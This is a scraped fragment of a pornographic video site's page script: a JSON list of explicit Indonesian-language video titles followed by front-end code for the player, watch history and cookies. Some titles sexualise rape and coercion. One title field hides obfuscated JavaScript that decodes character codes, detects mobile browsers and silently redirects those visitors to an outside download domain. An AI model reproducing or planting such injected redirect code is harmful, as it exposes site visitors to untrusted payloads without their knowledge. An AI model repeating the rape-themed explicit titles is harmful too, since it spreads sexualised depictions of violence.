Taboo: Seorang Ibu Dewasa yang Bimbang Antara Akal dan Keinginan, 12 Orang, 4 Jam 2 MBM","lastmod":"2026-07-11","duration":"04:00:32","url":"/play/19162558.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjlmYmQyYWI5N2Q0MTM5YjEwODAyN2YzMjYxYjUyZjAuanBn.cache","vod_id":19010194,"title":"SHKD881 Sahabat terbaik putriku, aku mengenalnya sejak dia masih kecil. Dia bergabung dengan perusahaan tepat setelah lulus, jadi aku menggunakannya sebagai mainan seksku. Yuki Nono.","lastmod":"2025-03-24","duration":"02:00:18","url":"/play/19010194.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTUvZWJkOWE4YzJlNDgzZjQ0MzU5YTFhNTU1OTNlNDY4NWYuanBn.cache","vod_id":19134655,"title":"Istri hamil, pijat saluran persalinan erotis, perkelahian hebat, sapuan pergelangan tangan, orgasme intens, lesbian yang berteriak-teriak. Aktris tak dikenal KSAT-098","lastmod":"2025-12-22","duration":"04:32:53","url":"/play/19134655.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWQzYzI3MDE1NTM1YzA1OTRmNWM0MmIzNmU1ZmYwOTEuanBn.cache","vod_id":18991239,"title":"C-2530 Istri dan suami mabuk tidur bersama 11","lastmod":"2025-03-23","duration":"01:32:01","url":"/play/18991239.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjMvNTQ0MGJlMDExODA0ZGVlYWUxMTdiZGRmOTAzMDAxNjcuanBn.cache","vod_id":19054010,"title":"Para istri yang tidak setia yang hanya berniat menikmati masturbasi... menjadi sangat terangsang secara seksual sehingga akhirnya melakukan hubungan seksual. (Aktor tidak dikenal GOJU282)","lastmod":"2025-09-22","duration":"04:37:17","url":"/play/19054010.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWM3NDNhMWNjMzA3MDRlMWE4NDM0MWY5MTYyZGM1NWEuanBn.cache","vod_id":19016005,"title":"MEYD503 Sebuah kisah asmara yang penuh keringat dan intens antara seorang wanita yang frustrasi karena harus tinggal serumah dengan pria yang menghamilinya, Matsumoto Nami.","lastmod":"2025-03-24","duration":"01:59:17","url":"/play/19016005.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWI1ZTM3NTk4ODY0ZjI0YWY4NWNlNzgzYmE1OTQ5ZGQuanBn.cache","vod_id":19007987,"title":"MCSR355 Hari ini istriku berselingkuh Musim Gugur 4 jam 10 orang.","lastmod":"2025-03-24","duration":"03:59:50","url":"/play/19007987.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvNDk1M2E3ZjViYzk1YTI2Y2QwMTAzYzNiNTIwOTFkODMuanBn.cache","vod_id":19051178,"title":"[Bahasa Mandarin] SONE592 Saya tidak tahu apa pun tentang masa sekolah istri saya, tetapi ketika saya melihatnya mencuri seragam keponakan saya, saya merasakan kegembiraan yang aneh... Saya belum bertemu dengannya selama lima tahun.","lastmod":"2025-09-04","duration":"02:02:09","url":"/play/19051178.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDRiMjVhNDM0Zjg5OWFkYmE5MjFmNjcxM2EzZjZmZTUuanBn.cache","vod_id":18956487,"title":"Kisah nyata MMMB-088 Hot Spring Inn! (4 jam)","lastmod":"2025-12-14","duration":"04:02:13","url":"/play/18956487.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjEvNTNjNzAyMmM3ZWRjOTI0YzNkNGU0ZDcwNjk2MTM1NmYuanBn.cache","vod_id":19058681,"title":"Istri saudara laki-lakiku yang tampan... Aku menemukan rahasia yang sangat membuat frustrasi dari saudara iparku: dia sedang mencari aplikasi perjodohan. (Hamazaki Mao, PJAM021)","lastmod":"2025-10-20","duration":"02:07:13","url":"/play/19058681.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2UwOTk2NTBmOGY1NTIxMDYyMzIyYWFlNDFlM2VkYjAuanBn.cache","vod_id":18974302,"title":"[Subtitle Bahasa Mandarin] RBK-072 Didorong oleh Rasa Ingin Tahu yang Moderat… Pengakuan Seorang Wanita Tentang Terjerumus ke Industri Seks Wanita. Hino, seorang istri muda yang terobsesi dengan seks, dan serangkaian tindakan bodohnya.","lastmod":"2025-03-23","duration":"01:57:22","url":"/play/18974302.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTdkZDk0MmFhNjYwZThkMTAwOWNhMGQ5YjAxNGM2MmQuanBn.cache","vod_id":19005311,"title":"MIAA-875-C Aku masih mencintai istriku! Setelah pernikahanku dengan suamiku mencapai titik terendah, beberapa waktu kemudian, ketika kami bercinta untuk pertama kalinya, kami menemukan bahwa tubuh kami sangat cocok.","lastmod":"2025-03-23","duration":"02:31:50","url":"/play/19005311.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjAvOGFmMzE1NzFiNjdiZjI0NTM4Mjg3MmI2NjdhNTBjNDIuanBn.cache","vod_id":19039271,"title":"CJOD466 Seorang istri selebriti yang cantik dan menggoda, lelah dengan suaminya yang kaya tetapi mandul, mengundang seorang pria muda yang selingkuh ke hotel untuk berhubungan seks dengannya.","lastmod":"2025-06-20","duration":"02:00:07","url":"/play/19039271.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTI0ZjY0NGRlNGI1YzljODdjYzg5N2NlN2NhYjc2YjYuanBn.cache","vod_id":19148860,"title":"Ibu perenang yang montok dan putingnya menegang ini praktis menjadi tempat buang air kecil kita untuk memuaskan hasrat seksual kita. Istri yang frustrasi secara seksual dan mesum ini, Jane FLAV-412","lastmod":"2026-03-18","duration":"02:33:07","url":"/play/19148860.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTkvYTk5YjRmN2U2ZjdjOTg3ODhmZGJkZjRmMDIyZTJmNGYuanBn.cache","vod_id":19063243,"title":"Seorang istri gila dengan penis besar mengundang penis yang menonjol. Seorang istri yang buruk, untuk mendapatkan level yang berbeda dari suaminya yang pendek. (DLDSS_344)","lastmod":"2025-12-13","duration":"02:03:15","url":"/play/19063243.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzUxNzlhODM4M2I4M2RhYzdkNjBjYTEzOTI4NjJjZjAuanBn.cache","vod_id":19135115,"title":"Tubuh yang menggoda! 4 jam penetrasi dengan gadis-gadis lembut. Dibintangi oleh Yokomiya Nanami, Inaba Ruka, Oizaki Yua, dll. KTRA-743","lastmod":"2025-12-25","duration":"04:03:12","url":"/play/19135115.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmQxMDAzYTFhNGYxMDY1ZWM0YzQ0OTRmMTY3YTcwOTIuanBn.cache","vod_id":19005086,"title":"JRZE-161-C: Dokumen penembakan pertama seorang istri berusia 50 tahun.","lastmod":"2025-03-23","duration":"01:54:49","url":"/play/19005086.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvYjUzNWYwZTBjNTgwYjlmZDUxZDhjYzJkYWViMTg1MjguanBn.cache","vod_id":19065229,"title":"Kumpulan video yang menampilkan adegan seks anal tiga lubang yang bertujuan untuk sampai ke rumah dalam waktu empat jam. (Tsukino Risa ID_025)","lastmod":"2025-12-14","duration":"04:02:26","url":"/play/19065229.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYWM4MTQ4ODViMjNiOTFjN2I5YzYwNjQxMjgyM2QwNjcuanBn.cache","vod_id":19163495,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Minum alkohol meningkatkan libido!! Seks NTR dengan 8 istri teman. Aktor termasuk Ichijo Kimika, Enjo Hitomi, Shindo Nozomi, dll. Proyek KSB - Emaniel","lastmod":"2026-07-11","duration":"04:03:20","url":"/play/19163495.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTZlMjVmNDU1ODEzZDg4ZWU4YjY0ZmM0NmVlODI0ZmIuanBn.cache","vod_id":19022454,"title":"Pesta perpisahan CLUB460 untuk istri-istri yang akan meninggalkan perusahaan direkam. Istri tercintaku telah dimanfaatkan oleh bos perusahaannya.","lastmod":"2025-03-24","duration":"03:41:21","url":"/play/19022454.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzQ4NWM4ZWQ0MDczYWQ5NTZjMDgxNGYwMTljOTYyNjYuanBn.cache","vod_id":18928337,"title":"APNS-151 Saya baru saja menerima DVD berisi video istri saya yang baru menikah dan hilang sedang diperkosa beramai-ramai... Volume 02","lastmod":"2025-12-14","duration":"00:20:00","url":"/play/18928337.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWU3YmU1MGYzY2M5ZWQxZDMwMTA4NjJmODM1MDdjMmMuanBn.cache","vod_id":18994115,"title":"SSNI-516 Saat pacarku sedang pergi berlibur, aku berhubungan seks dengan teman masa kecilnya selama 48 jam nonstop, dari pagi sampai malam. Yua Mikami 1","lastmod":"2025-03-23","duration":"03:32:55","url":"/play/18994115.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjIvYTgzMGExODAxNTVhZjI3MGIxZjI2NzM2MThjOTZkNWUuanBn.cache","vod_id":19030333,"title":"Sosok wanita yang semakin berisi dan dewasa, postur memalukan istri dan ibuku, membuatku tak mampu menahan ereksi. Minami Momoko, Minami Momoko VENX-147-C.","lastmod":"2025-04-22","duration":"01:44:31","url":"/play/19030333.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWQ3NmIwNmE1ODczZDU2MDQ1ZGY0MjQ2Yzg2NGVlNGQuanBn.cache","vod_id":18929908,"title":"ATID-221 Perkawinan Istri yang Tak Bersalah: Jangan Biarkan Alasanku Goyah... 2 Aida Sakura Volume 5","lastmod":"2025-12-14","duration":"00:19:58","url":"/play/18929908.html"}]},
videoTitle: 'MCSR355 Hari ini istriku berselingkuh Musim Gugur 4 jam 10 orang.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}